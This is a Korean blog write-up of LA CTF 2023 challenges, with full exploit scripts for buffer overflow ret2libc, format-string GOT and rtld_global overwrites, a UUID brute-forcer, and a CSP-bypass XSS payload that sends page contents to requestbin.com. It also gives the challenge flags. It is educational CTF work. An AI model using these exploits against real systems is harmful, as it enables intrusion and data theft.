🗂️ INDEX

글 작성자: Universe7202

 

1. [pwn] gatekeep

이 문제는 단순 bof를 통해 다른 변수의 값을 변조시켜 flag를 획득하는 문제이다.

`lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}`

 

 

 

 

2. [pwn] bot

 

 

이 문제의 c코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
  setbuf(stdout, NULL);
  char input[64];
  volatile int give_flag = 0;
  puts("hi, how can i help?");
  gets(input);
  if (strcmp(input, "give me the flag") == 0) {
    puts("lol no");
  } else if (strcmp(input, "please give me the flag") == 0) {
    puts("no");
  } else if (strcmp(input, "help, i have no idea how to solve this") == 0) {
    puts("L");
  } else if (strcmp(input, "may i have the flag?") == 0) {
    puts("not with that attitude");
  } else if (strcmp(input, "please please please give me the flag") == 0) {
    puts("i'll consider it");
    sleep(15);
    if (give_flag) {
      puts("ok here's your flag");
      system("cat flag.txt");
    } else {
      puts("no");
    }
  } else {
    puts("sorry, i didn't understand your question");
    exit(1);
  }
}

 

위 코드를 보면 `gets()` 함수로 입력을 받고 있기 때문에 bof 공격에 취약하다. checksec으로 확인해보면, 카나리는 없는 것을 볼 수 있다.

 

`strcmp()` 함수로 사용자의 입력값을 검증하고 있는데, 입력값이 일치하지 않으면 `exit()` 함수로 프로그램을 종료 시킨다. 즉, 입력 값을 만족시키지 않으면 bof를 한다고 해도 성공할 수 없다. 

 

따라서 입력 값을 만족시키는 값을 넣고 `\x00` 값을 넣은 뒤, 이후에 bof payload를 작성하면 문제를 해결할 수 있다.

bof로 `libc base`를 leak 하고 `libc_system` 함수의 주소를 찾아 return 주소에 overwrite 한다.

from pwn import *

context.log_level = "debug"

pop_rdi_ret = 0x40133b

# p = process("./bot")
p = remote("lac.tf", "31180")
e = ELF("./bot")
l = ELF("./libc-2.31.so")

payload  = b"give me the flag\x00"
payload += (0x48 - len(payload)) * b"A"
payload += p64(pop_rdi_ret)
payload += p64(e.got["gets"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendlineafter(b"hi, how can i help?", payload)

p.recvuntil(b"\x6f\x0a")

gets_libc = u64(p.recv(6) + b"\x00\x00")
libc_base = gets_libc - l.symbols["gets"]
system = libc_base + l.symbols["system"]

print(f"gets_libc: {hex(gets_libc)}")
print(f"libc_base: {hex(libc_base)}")


payload  = b"give me the flag\x00"
payload += (0x48 - len(payload)) * b"A"
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + 0x10)
payload += p64(e.plt["gets"])
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + 0x10)
payload += p64(system)

p.sendlineafter(b"hi, how can i help?", payload)
p.sendline("cat flag.txt")

p.interactive()

# lactf{hey_stop_bullying_my_bot_thats_not_nice}

 

 

 

3. [pwn] rickroll

 

이 문제는 Cheshire님과 함께 고민하여 해결했다.

 

제공된 c코드는 다음과 같다.

`printf(buf)`에서 fsb 취약점이 발생한다.

#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}

 

checksec으로 확인해보면, `RELRO: Partial RELRO` 이기 때문에, GOT를 overwrite 할 수 있다.

fsb로 libc_base를 leak 하고, puts 함수의 GOT를 main함수의 주소로 overwrite 하는 시나리오를 생각했다.

추가로 main_called 변수로 main 함수가 여러번 호출되었는지를 검증하고 있기 때문에, 이 변수 또한 fsb로 0으로 초기화 시킨다.

from pwn import *
import sys

context.log_level = "debug"

# p = process("./rickroll")
p = remote("lac.tf", "31135")
e = ELF("./rickroll")
l = e.libc
# l = ELF("./libc.so.6")

if len(sys.argv) != 1:
    script = """
        b *main
        b *0x00000000004011c2
        b *0x4011e7
        b *0x4011f3
    """
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, script)

main_called = 0x40406c

payload  = b"%20$hn"                        # overwrite main_called
payload += (8 - len(payload)) * b"A"
payload += b"A"*8
payload += b"A"*7
payload += b"%21$hhn"                       # overwrite puts GOT -> main 1bit
payload += b"B"*2
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*8
payload += b"A"*7
payload += b"%22$hhn"                       # overwrite puts GOT -> main 1bit
payload += b"A"*2
payload += b"%39$pAAA"                      # Leak address __libc_start_main
payload += p64(main_called)
payload += p64(e.got["puts"] + 1)
payload += p64(e.got["puts"])


p.sendlineafter(b"Lyrics: ", payload)

p.recvuntil(b"0x")
addr = int(b"0x" + p.recv(12), 16)

# local
# libc_start_main = addr - 243 
# libc_base = libc_start_main - l.symbols["__libc_start_main"]
# system = libc_base + l.symbols["system"]

# remote
libc_base = addr - 0x1d0a
system = libc_base + 0x23e50
binsh = libc_base + 0x174152

overwrite = system & 0x000000ffffff


print(f"addr: {hex(addr)}")
print(f"libc_base: {hex(libc_base)}")
print(f"system: {hex(system)}")

offset_1 = overwrite & 0xff
offset_2 = (overwrite & 0xff00) >> 8
offset_3 = (overwrite & 0xff0000) >> 16


tmp_1 = 8 - len(f"%{offset_1}c")
tmp_2 = 8 - len(f"%{256 - offset_1 + offset_2 - 4}c")
tmp_3 = 8 - len(f"%{256 - offset_2 + offset_3}c")

payload  = b"%13$hhnA"                                                  # overwrite main_called
payload += f"%{offset_1 - tmp_1 - 1}c".encode() + tmp_1 * b"A"          # system+0 
payload += b"%14$hhnA"                                                  # overwrite printf GOT -> system 1bit
payload += f"%{256 - offset_1 + offset_2 - 4}c".encode() + tmp_2 * b"A" # system+1
payload += b"%15$hhnA"                                                  # overwrite printf+1 GOT -> system 1bit
payload += f"%{256 - offset_2 - 4 + offset_3}c".encode() + tmp_3 * b"A"
payload += b"%16$hhnA"
payload += p64(main_called)
payload += p64(e.got["printf"])
payload += p64(e.got["printf"] + 1)
payload += p64(e.got["printf"] + 2)

p.sendlineafter(b"Lyrics: ", payload)

p.sendline(b"/bin/sh")

p.interactive()

# lactf{printf_gave_me_up_and_let_me_down}

 

 

 

 

4. [pwn] rut-roh-relro

 

이 문제는 Cheshire님과 함께 고민하여 해결했다.

 

이전 문제와 동일하게 fsb를 통해 문제를 해결해야 한다.

#include <stdio.h>

int main(void) {
    setbuf(stdout, NULL);
    puts("What would you like to post?");
    char buf[512];
    fgets(buf, 512, stdin);
    printf("Here's your latest post:\n");
    printf(buf);
    printf("\nWhat would you like to post?\n");
    fgets(buf, 512, stdin);
    printf(buf);
    printf("\nYour free trial has expired. Bye!\n");
    return 0;
}

 

하지만, 이 바이너리는 GOT를 overwrite할 수 없다. 이렇게 Full RELRO가 적용되어 있어도 우회할 수 있는 방법이 있는데, `rtld_global` 구조체에 `_dl_rtld_lock_recursive`와 `dl_load_lock`을 system 함수로 overwrite하면 프로그램이 종료될때 실행되어 shell을 획득할 수 있다.

 

 

다른 사람들의 풀이를 보니까, 간단하게 fsb로 libc_base와 stack 주소를 leak하여 return 주소에 one_gadget을 넣어 쉽게 해결했다. https://www.youtube.com/watch?v=K5sTGQPs04M 

 

아무튼, 아래 payload로 local에서는 성공적으로 shell을 획득했지만, remote에서는 획득하진 못했다.

같이 문제를 풀었던 분이 브포로 풀었다고 했는데,, 나중에 payload를 봐야겠다.

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
p=process("rut_roh_relro")
# p = remote("lac.tf", "31134")
e=ELF("rut_roh_relro")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ld=ELF("/lib64/ld-linux-x86-64.so.2")

if len(sys.argv) != 1:
    pie_base = p.libs()["/home/universe/lactf/rut-roh-relro/rut_roh_relro"]
    script = f"""
        b *{pie_base + e.symbols['main'] + 156}
    """
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, script)

code_base_payload  = "%10$p"
code_base_payload += "%65$p"
code_base_payload += "%71$p"
p.sendlineafter("?\n", code_base_payload)

p.recvuntil("Here's your latest post:\n")

rtld_global = int(p.recvn(14),16)-2440
_dl_rtld_lock_recursive = rtld_global + 3848
dl_load_lock  = rtld_global + 2312
libc_csu_init = int(p.recvn(14),16)
libc_start_main = int(p.recvn(14),16)-243
code_base = libc_csu_init-e.symbols['__libc_csu_init']
libc_base = libc_start_main-libc.symbols['__libc_start_main']
ld_base = rtld_global-ld.symbols['_rtld_global']
main = code_base+e.symbols['main']
system = libc_base+libc.symbols['system']
binsh = libc_base+0x1B45BD

log.info(f"_rtld_global: {hex(rtld_global)}")
log.info(f"__libc_csu_init: {hex(libc_csu_init)}")
log.info(f"code base: {hex(code_base)}")
log.info(f"libc base: {hex(libc_base)}")
log.info(f"ld base: {hex(ld_base)}")
log.info(f"main: {hex(main)}")
log.info(f"system: {hex(system)}")
log.info(f"/bin/sh: {hex(binsh)}")
log.info(f"_dl_rtld_lock_recursive: {hex(_dl_rtld_lock_recursive)}")
log.info(f"dl_load_lock: {hex(dl_load_lock)}")

overwrite = system & 0x000000ffffff
offset_1 = overwrite & 0xff
offset_2 = (overwrite & 0xff00) >> 8
offset_3 = (overwrite & 0xff0000) >> 16

payload  = f"%{0x2f - 4}c".encode() + b"A" * 4
payload += b"%26$hhnA"
payload += f"%{256 - 0x2f - 4 + 0x62}c".encode() + b"A" * 3
payload += b"%27$hhnA"
payload += f"%{256 - 0x62 - 4 + 0x69}c".encode() + b"A" * 3
payload += b"%28$hhnA"
payload += f"%{256 - 0x69 - 4 + 0x6e}c".encode() + b"A" * 3
payload += b"%29$hhnA"
payload += f"%{256 - 0x6e - 4 + 0x2f}c".encode() + b"A" * 3
payload += b"%30$hhnA"
payload += f"%{256 - 0x2f - 4 + 0x73}c".encode() + b"A" * 3
payload += b"%31$hhnA"
payload += f"%{256 - 0x73 - 4 + 0x68}c".encode() + b"A" * 3
payload += b"%32$hhnA"                                          # fin dl_load_lock overwrite
payload += f"%{256 - 0x68 - 4 + offset_1}c".encode() + b"A" * 3
payload += b"%33$hhnA"
payload += f"%{256 - offset_1 - 4 + offset_2}c".encode() + b"A" * 3
payload += b"%34$hhnA"
payload += f"%{256 - offset_2 - 4 + offset_3}c".encode() + b"A" * 3
payload += b"%35$hhnA"
payload += p64(dl_load_lock)
payload += p64(dl_load_lock+1)
payload += p64(dl_load_lock+2)
payload += p64(dl_load_lock+3)
payload += p64(dl_load_lock+4)
payload += p64(dl_load_lock+5)
payload += p64(dl_load_lock+6)
payload += p64(_dl_rtld_lock_recursive)
payload += p64(_dl_rtld_lock_recursive+1)
payload += p64(_dl_rtld_lock_recursive+2)

p.sendlineafter("?\n", payload)

p.interactive()

 

 

 

5. [web] uuid hell

 

대회 당일, 포너블에 잡혀있어 대회가 끝난 뒤에 문제를 봤는데, 브포로 uuid v1 값을 알아내는 문제였다.

30분만에 풀었는데, flag를 제출하지 못해 아쉬웠다.

 

uuid v1은 timestamp 기준으로 생성하는 함수이다.

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

app.get('/', (req, res) => {
    let id = req.cookies['id'];
    if (id === undefined || !isUuid(id)) {
        id = randomUUID();
        res.cookie("id", id);
        useruuids.push(id);
        if (useruuids.length > 50) {
            useruuids.shift();
        }
    } else if (isAdmin(id)) {
        res.send(process.env.FLAG);
        return;
    }

    res.send("You are logged in as " + id + "<br><br>" + getUsers());
});

app.post('/createadmin', (req, res) => {

    const adminid = randomUUID();
    adminuuids.push(adminid);
    if (adminuuids.length > 50) {
        adminuuids.shift();
    }
    res.send("Admin account created.")
});

 

admin의 uuid 값을 알아야 flag를 획득할 수 있기 때문에, 일반 사용자의 uuid 값 생성 직후 admin uuid를 생성해 둔다.

이후 브포로 admin의 uuid 값을 찾는 payload를 작성한다.

const first = "a29e5c30"
const crypto = require('crypto');
const cmp = "94c1481d868f9c2bcda23e46f9ed02ec";

for(let i = 0; i<0xffffffff; i++){
    let result = `${(parseInt(first, 16) + i).toString(16)}-ac28-11ed-aa64-67696e6b6f69`;
    let hash = crypto.createHash('md5').update("admin" + result).digest("hex");

    if(hash === cmp){
        console.log(result);
        break;
    }
}

// lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}

 

ctftime에 올라온 롸업에는 uuid v1에 취약점을 이용하여 풀긴 했는데,, 한번 읽어봐야겠다

 

CTFtime.org / LA CTF 2023 / uuid hell / Writeup

# uuid hell ## Overview - Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆ - 165 solves / 391 points ## Background UUIDs are the best! I love them (if you couldn't tell)! Site: [uuid-hell.lac.tf](https://uuid-hell.lac.tf) ![](htt

ctftime.org

 

 

 

6. [web] uuid hell

 

이 문제는 csp를 우회하여 flag를 획득하는 문제이다.

const express = require("express");
const path = require("path");
const { v4: uuid } = require("uuid");
const cookieParser = require("cookie-parser");

const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || "placeholder";

const app = express();

const reports = new Map();

let cleanup = [];

setInterval(() => {
    const now = Date.now();
    let i = cleanup.findIndex(x => now < x[1]);
    if (i === -1) {
        i = cleanup.length;
    }
    for (let j = 0; j < i; j ++) {
        reports.delete(cleanup[j][0]);
    }
    cleanup = cleanup.slice(i);
}, 1000 * 60);

app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

app.get("/flag", (req, res) => {
    res.status(400).send("you have to POST the flag this time >:)");
});

app.post("/flag", (req, res) => {
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(400).send("no hacking allowed");
    }
});

app.use((req, res, next) => {
    res.set(
        "Content-Security-Policy",
        "default-src 'none'; script-src 'unsafe-inline'"
    );
    next();
});

app.post("/report", (req, res) => {
    res.type("text/plain");
    const crime = req.body.crime;
    if (typeof crime !== "string") {
        res.status(400).send("no crime provided");
        return;
    }
    if (crime.length > 2048) {
        res.status(400).send("our servers aren't good enough to handle that");
        return;
    }
    const id = uuid();
    reports.set(id, crime);
    cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
    res.redirect("/report/" + id);
});

app.get("/report/:id", (req, res) => {
    if (reports.has(req.params.id)) {
        res.type("text/html").send(reports.get(req.params.id));
    } else {
        res.type("text/plain").status(400).send("report doesn't exist");
    }
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Listening on port ${port}`);
});

 

CSP를 보면 `script-src` directive는 `unsafe-inline`을 허용해 주고 있다. 반면에 `default-src`의 directive는 `none` 이다. 

flag를 획득하기 위해서는 POST 방식으로 fetch등 요청을 보내야 하지만,  `default-src none` 이기 때문에 자동적으로 `connect-src none` 설정이 되어 fetch 요청 등이 차단된다.

 

이를 우회하는 방법은 `window.open` 과 `window.opener` 를 사용하는 것이다.

 

우선 2개의 payload가 필요한데, 첫번째 payload는 `window.open` 을 사용하여 두번째 payload 새창을 띄우는 코드를 작성하고, 이후에 /flag로 POST 방식으로 요청을 보내는 submit payload를 작성한다.

<form method="POST" action="/flag">
<script>
	window.open("/report/second-report-id", target="_blank");
    document.forms[0].submit();
</script>

 

첫번째 payload의 `window.open()` 함수를 통해 새창으로 열린 두번째 payload는 `window.opener` 를 통해 부모 DOM에 접근하여 /flag 페이지의 내용을 가져오는 payload를 작성한다.

<script>
	setTimeout(() => {
    	location.href=`https://requestbin.com/?flag=${window.opener.document.documentElement.outerHTML}`;
    }, 200);
</script>

 

`lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}`

'🚩CTF' 카테고리의 다른 글

WACon2023 CTF Write up  (0) 2023.09.03
hacktm ctf 2023 writeup  (0) 2023.02.21
Dicectf 2023 writeup  (0) 2023.02.08
DiceCTF 2022 writeup  (0) 2022.07.25
[WACon 2022] yet_another_baby_web  (0) 2022.06.28